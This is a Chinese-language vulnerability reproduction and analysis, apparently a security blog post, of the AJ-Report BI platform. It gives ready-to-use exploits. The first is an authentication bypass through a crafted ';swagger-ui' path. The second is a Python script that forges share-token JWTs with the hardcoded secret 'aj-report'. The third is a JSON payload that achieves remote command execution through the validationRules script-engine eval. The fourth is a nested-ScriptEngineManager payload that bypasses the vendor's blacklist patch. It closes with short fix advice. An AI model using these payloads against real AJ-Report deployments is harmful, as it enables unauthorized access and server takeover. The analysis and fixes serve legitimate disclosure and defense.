【漏洞复现】Aj-Report漏洞复现与分析
AJ-Report是一个java开发的开源BI平台,存在多个权限绕过、RCE等漏洞,简单分析一下
aj-report
项目地址:https://github.com/anji-plus/report
AJ-Report是全开源的一个BI平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑。多数据源支持,内置mysql、elasticsearch、kudu驱动,支持自定义数据集省去数据接口开发,目前已支持30+种大屏组件/图表,不会开发,照着设计稿也可以制作大屏。三步轻松完成大屏设计:配置数据源---->写SQL配置数据集---->拖拽配置大屏---->保存发布。欢迎体验。
资产测绘
权限绕过1
这个系统的接口绝大部分都需要登陆,需要绕一下
鉴权逻辑是作者自己写的filter:com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter
,审计一下看是否可以绕过:
可以看到使用getRequestURI
获取uri(不经过任何处理,获取原始uri),然后会判断uri是否包含“swagger-ui
”,包含则放行,因此这里可以使用后端与Spring获取到uri的差异来绕过
payload:/dataSetParam;swagger-ui/verification
(spring会将uri中的;swagger-ui
处理清除)
权限绕过2
接着继续看com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter
后面的逻辑
可以看到其获取了两个jwt-token,往里面翻,发现jwt是硬编码,因此可以直接伪造token
但是其后面还有个逻辑if (!cacheHelper.exist(tokenKey))
,如果token不在缓存里面就认为是过期的(默认缓存1h),所以这里不好利用
接着关注到shareToken
其中有个条件:if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains))
,需要其为false才能绕过,因为是&&所以只要一个为false即可,直接看最后一个条件reportCodeList.stream().noneMatch(uri::contains)
也就是说uri
包含reportCode
的话就返回false
,而reportCode
是从shareToken
中获取的,如果可以伪造就好了
深入源码内部,发现shareToken
的jwt-secret也是硬编码的
因此就可以直接伪造了:
import jwt
from datetime import datetime
payload = {
"shareCode": 1,
"reportCode": "/", #通用性
"exp": 4070880000,
"iat": 1715402146,
"sharePassword": 1
}
JWT_SECRET = "aj-report"
fakeShareToken = jwt.encode(payload,JWT_SECRET,algorithm='HS256')
print(fakeShareToken)
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzaGFyZUNvZGUiOjEsInJlcG9ydENvZGUiOiIvIiwiZXhwIjo0MDcwODgwMDAwLCJpYXQiOjE3MTU0MDIxNDYsInNoYXJlUGFzc3dvcmQiOjF9.XIvqj1iTJeGtIGjS_71raSpw3FTMgZNNQZsP5nZrnxY
validationRules 命令执行
漏洞原因: engine.eval(validationRules);
validationRules
参数可控
出问题的接口:/dataSetParam/verification,这个接口需要鉴权
使用前面说的权限绕过方法1,访问到/dataSetParam/verification接口,传入恶意代码
{"sampleItem":"1","validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = new java.lang.ProcessBuilder('id').start().getInputStream();result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}"
}
跟进源码,可以发现后端直接执行了传入的表达式,因此可以RCE
private ScriptEngine engine;
{
ScriptEngineManager manager = new ScriptEngineManager();
engine = manager.getEngineByName("JavaScript");
}
为什么这里要传入verification函数呢,这里查看上面源代码就可以知道。执行完js
后会调用js
中的verification
函数,随后将执行结果返回,因此这是个可以回显的点
补丁绕过
https://github.com/anji-plus/report/commit/be4f7eb84a6143fa80432783505091c19c57f98b
可以看到作者改用了NashornScriptEngine
,同时设置了一个黑名单类进行过滤,但是这里过滤机制有缺陷,用套娃的方式可以绕过,在里面new
一个ScriptEngineManager
,然后再eval
就行
function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}
修复
- 使用
reqeust.getServletPath()
获取URI
- jwt-secret硬编码改成随机生成的密钥